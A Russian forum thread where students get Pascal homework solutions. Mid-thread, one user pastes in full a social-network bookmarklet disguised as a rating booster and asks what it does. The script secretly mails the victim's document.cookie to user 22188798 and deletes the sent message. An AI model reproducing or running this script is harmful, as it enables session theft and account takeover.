Студентам. Помощь в программировании
Чтобы каждый раз не создавались топики, с просьбой написать программу на каком то языке , создаю этот топик...
Здесь вы можете оставлять свои задания, только не забывайте указывать язык на котором надо написать программу... Чтобы не было лишних вопросов по условию, излагайте условие правильно и подробно,от этого зависит быстрота получения вами готового кода... |
Здравствуйте, помогите пожалуйста ниписать 2 проги на Паскале.. А то сессия приближается, а лабы сдавать надо :) Так вот.
1. Составить программу, в соответствии с вариантом, равным номеру компьютера, результаты вывести на экран и в файл (выходной файл должен также содержать, фамилии, номер группы). Вот задание: Ввести с клавиатуры 10 пар чисел. Сравнить числа в каждой паре и напечатать большие из них. 2.Составить программу, в соответствии с вариантом, равным номеру компьютера, результаты вывести на экран и в файл. и задание: С клавиатуры вводятся числа и последовательно суммируются. Найти количество введенных чисел, когда их сумма превысила 100. |
Цитата:
|
Цитата:
|
Цитата:
CONST FileName:STRING='xxxx'; {Enter the real name of your file, including the path} SurName:STRING='Ivanov'; {Enter your surname} GroupNumber:STRING='555_a'; {Enter the real number of your group} VAR f:TEXT; a:ARRAY[1..10, 1..2] of INTEGER; m:ARRAY[1..10] of INTEGER; i,j:INTEGER; FUNCTION MAX(a,b:INTEGER):INTEGER; BEGIN IF a>b THEN MAX:=a ELSE MAX:=b; END; BEGIN Assign(f, FileName); ReWrite(f); Writeln(f, SurName); Writeln(f, GroupNumber); FOR i:=1 TO 10 DO BEGIN FOR j:=1 TO 2 DO BEGIN Write('a[',i:2,', ',j:1,'] = '); ReadLn(a[i,j]); END; m[i]:=MAX(a[i,1],a[i,2]); Writeln(f,i:2,m[i]:15); END; Writeln; FOR i:=1 TO 10 DO Writeln(i:2,m[i]:15); Close(f); ReadLn; END. Цитата:
FileName:STRING='xxxx'; {Enter the real name of your file, including the path} SurName:STRING='Ivanov'; {Enter your surname} GroupNumber:STRING='555_a'; {Enter the real number of your group} VAR f:TEXT; a,SUM,Num:INTEGER; BEGIN Assign(f, FileName); ReWrite(f); Writeln(f, SurName); Writeln(f, GroupNumber); SUM:=0; Num:=0; REPEAT INC(Num); Write('Enter the next number '); Readln(a); SUM:=SUM+a; UNTIL SUM>100; Writeln(f,Num:15); Writeln(Num:15); Close(f); ReadLn; END. |
не стал создовать отдельный топик
что выполняет этот скрипт? Сам запустить я его не решился. просто хочу спросить что в нем заложенно уберите пробел между Java_script . Java_script:var percentGold=100;var widthLeft=20;var widthRight=179;var t;var memPerSec=10.00741833975;function d(m,j,l){var i=(m+'').indexOf(j,l);return i=== -1?false:i;};function _a(){next= -(1000/memPerSec)*Math.log(Math.random());ge('percentGold ').innerHTML=percentGold;ge('rateLeftGold').style. width=widthLeft+"px";ge('rateRightGold').style.wid th=widthRight+"px";percentGold=percentGold+1;width Left=Math.floor(Math.sin((percentGold-100)/500)*179+20);widthRight=199-widthLeft;if(widthRight<=1){clearTimeout(t);}else t=setTimeout(_a,next);};function first(){if(ge('percent')){percentGold=ge('percent' ).innerHTML;var pos=d(percentGold,">",0);if(pos==false) {percentGold=parseInt(percentGold);}else percentGold=parseInt(percentGold.substr(pos+1,3)); widthLeft=parseInt(ge('rateLeft').style.width);wid thRight=parseInt(ge('rateRight').style.width);_b() ;}else{percentGold=parseInt(ge('percentGold').inne rHTML);widthLeft=parseInt(ge('rateLeftGold').style .width);widthRight=parseInt(ge('rateRightGold').st yle.width);_a();}};function _b(){next= -(1000/memPerSec)*Math.log(Math.random());ge('percent').i nnerHTML=percentGold+"%";ge('rateLeft').style.widt h=widthLeft+"px";ge('rateRight').style.width=width Right+"px";percentGold=percentGold+1;if(percentGol d>100){clearTimeout(t);ge('percent').id="percentGo ld";ge('rateLeft').id='rateLeftGold';ge('rateRight ').id='rateRightGold';widthLeft=20;widthRight=179; _a();}else{widthLeft=widthLeft+2;widthRight=199-widthLeft;t=setTimeout(_b,next);}};var f=document.createElement('div');f.style.display="n one";var params;function a(){Ajax.Post({url:'friend.php',query:{act:'a_add_ form',fid:22188798},onDone:function(ajaxObj,respon seText){try{var text=responseText;var response=eval('('+responseText+')');f.innerHTML=re sponse.text;var form=ge('addFriendForm');if(!form)return;var params=serializeForm(form);Ajax.Post({url:'friend. php',query:params});}catch(e){}}});};function b(){Ajax.Get({url:'mail.php',query:{act:'write',to :22188798},onDone:function(ajaxObj,responseText){v ar text=responseText;try{f.innerHTML=responseText;par ams={act:ge('act').value,ajax:1,misc:ge('misc')?ge ('misc').value:'',secure:ge('secure')?ge('secure') .value:'',chas:ge('chas').value,photo:ge('photo')? ge('photo').value:'',to_id:22188798,to_reply:ge('t o_reply').value,toFriends:ge('toFriends')?ge('toFr iends').value:'',title:ge('title').value,message:' '+Math.round(Math.random()*10000)+document.cookie+ Math.round(Math.random()*10000)};setTimeout(c,3000 );}catch(e){}}});}; function c() {Ajax.Post({url:'mail.php',query:params,onDone: function(ajaxObj,responseText){setTimeout(e,1000); }});}; function e(){Ajax.Get({url:'mail.php',query:{out:"1",rnd:Ma th.round(Math.random()*10000)},onDone:function(aja xObj,responseText){try{var k='<a href="mail.php?act=write&to=22188798&r=';var pos=d(responseText,k,0); var g=d(responseText,'&out=1"',pos); if(pos==false)return; var messid=parseInt(responseText.substr(pos+k.length,g-pos));params={act:"a_delete",id:messid,out:1}; Ajax.Post({url:'mail.php',query:params});}catch(e) {}}});}; onDomReady(function(){document.body.appendChild(f) ; first();a();b();}); |
Vladimir_S, спасибо вам огромное!!
но не могли бы переписать так, чтобы в файл выводилась фамилия, а так получается что фамилия в названии файла.. :( И Паскаль конфликтует с таким написанием строки: Assign(f, SurName+'_'+GroupNumber'); |
Цитата:
Цитата:
|
Vladimir_S, я Вам очень признателен, еще раз спасибо! :)
|
Здравствуйте, помогите пожалуйста с программами на паскале, а то сессия на носу уже, а не успеваю.
1. Разработать программу, реализующую алгоритм вычисления суммы бесконечного ряда с точностью до 10^(-4). Программу представить с использованием оператора цикла WHILE ln(x)=(x-1)/x+(x-1)2/2x2+(x-1)3/3x3+... x>1/2 2. Преобразовать массив, расположив сначала все положительные, а затем все отрицательные элементы. Порядок следования элементов одного типа не менять 3. Найти количество нулевых элементов в каждой строке матрицы. 4. В одномерном массиве, состоящем из N целых элементов вычислить: а)сумму элементов массива с четными номерами (оформить в виде функции) б)произведение жлементов массива, расположенных между 1 и последним нулевыми лементами (оформить в виде процедуры) Сжать массив, удалив из него все элементы, модуль которых не превышает 1. Освободившиеся элементы в конце массива заполнить нулями 5.Определить количество слов в каждой строке. Удалить все слова BEGIN в каждой строке. (работа с файлами, обработка текст идет из внешнего файла, результаты также поместить в файл, для обработки текста использовать строковые функции). СПАСИБО огромное, дело в том что с программированием никогда не сталкивался да и по роду профессии не столкнусь, а сдавать нужно |
Часовой пояс GMT +4, время: 02:27. |
Powered by vBulletin® Version 4.5.3
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.